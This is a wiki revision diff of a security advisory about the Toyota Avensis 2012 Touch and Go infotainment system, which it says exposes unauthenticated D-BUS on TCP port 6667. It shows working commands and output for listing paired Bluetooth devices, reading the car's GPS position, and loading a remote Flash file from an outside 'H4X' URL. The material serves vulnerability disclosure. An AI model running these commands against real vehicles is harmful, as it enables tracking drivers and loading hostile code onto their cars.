Differences between revisions 1 and 2
Revision 1 as of 2014-12-18 20:47:48
Size: 4068
Editor: turmio
Comment:
Revision 2 as of 2021-08-17 21:29:33
Size: 3774
Editor: turmio
Comment:
Deletions are marked like this. Additions are marked like this.
Line 1: Line 1:
{{{
#!wiki tlp-amber
Line 4: Line 2:
The information in this report is classified by the Traffic Light Protocol (TLP) as Amber. The distribution should be limited to personnel testing their products with the provided materials.

Pages with different TLP classification SHALL be explicitly marked.

}}}

Remote Access to Toyota Avensis 2012 model Touch and Go system via DBUS

Intro

Toyota Avensis have Touch and Go -system which can be connected to Internet via Bluetooth (Toyota Avensis 2012 model). Touch and Go -system has DBUS available via TCP port 6667 and there is no authentication of any sort. Via D-BUS you can control applications which are running on the Touch and Go system. You can get coordinates of the car, load external flash applications from Internet etc.

Details

Calling functions

It seems that there is Invoke-method in almost every service and that one is used to call lua/c-functions that take json-paramters and return json-parameters.

toyota-cmd.py

Using that we were able to:

  1. Get list of paired Bluetooth devices

    machine% python toyota.py com.harman.service.BluetoothService getPairedDeviceList ''
    {"pairedDeviceList":[{"serviceSearchList":[{"service":"A2DP_SOURCE","priority":0,"connected":false},{"service":"HFPGW","priority":1,"connected":true},{"service":"HSPGW","priority":0,"connected":false},{"service":"0000-1203-0000-1000-8000-0080-5F9B-34FB","priority":0,"connected":false},{"service":"PAN_NAP","priority":0,"connected":true},{"service":"AVRCP","priority":0,"connected":false},{"service":"SPP","priority":0,"connected":false},{"service":"PAN_GN","priority":0,"connected":false},{"service":"SDP","priority":0,"connected":false}],"name":"cn0011","address":"xx:xx:xx:xx:xx:xx"},{"serviceSearchList":[{"service":"HFPGW","priority":2,"connected":false},{"service":"A2DP_SOURCE","priority":0,"connected":false},{"service":"DID","priority":0,"connected":false},{"service":"AVRCP","priority":0,"connected":false},{"service":"0000-1203-0000-1000-8000-0080-5F9B-34FB","priority":0,"connected":false},{"service":"HSPGW","priority":0,"connected":false},{"service":"OPP_SERVER","priority":0,"connected":false},{"service":"PBAP_SERVER","priority":0,"connected":false},{"service":"SDP","priority":0,"connected":false}],"name":"ZTE-BLADE","address":"xx:xx:xx:xx:xx:xx"},{"serviceSearchList":[{"service":"HFPGW","priority":3,"connected":false},{"service":"A2DP_SOURCE","priority":0,"connected":false},{"service":"PAN_NAP","priority":0,"connected":false},{"service":"OPP_SERVER","priority":0,"connected":false},{"service":"FTP","priority":0,"connected":false},{"service":"DUNGW","priority":0,"connected":false},{"service":"0000-1201-0000-1000-8000-0080-5F9B-34FB","priority":0,"connected":false},{"service":"SPP","priority":0,"connected":false},{"service":"0000-1203-0000-1000-8000-0080-5F9B-34FB","priority":0,"connected":false},{"service":"HSPGW","priority":0,"connected":false},{"service":"SyncMLClient","priority":0,"connected":false},{"service":"PBAP_SERVER","priority":0,"connected":false},{"service":"SAP","priority":0,"connected":false},{"service":"0000-1204-0000-1000-8000-0080-5F9B-34FB","priority":0,"connected":false},{"service":"AVRCP","priority":0,"connected":false},{"service":"SDP","priority":0,"connected":false},{"service":"FBUS_RFCOMM","priority":0,"connected":false}],"name":"Nokia X3-02","address":"xx:xx:xx:xx:xx:xx"}],"description":"success","code":0}
  2. Get car GPS-position:

    machine% python toyota-cmd.py com.harman.service.Navigation MAP_PositionInfo ''
    calling MAP_PositionInfo()
    {"lat":65.06096196174622,"lon":25.44586372375488,"posInfo":null}
  3. Load any flash (swf) application from Internet:

    machine% python toyota-cmd.py com.harman.service.HMIService loadExternalSWF '{ "path":"http://www.sieni.us/H4X/29.swf" }'
    calling loadExternalSWF({ "path":"http://www.sieni.us/H4X/29.swf" })
    {"result":true}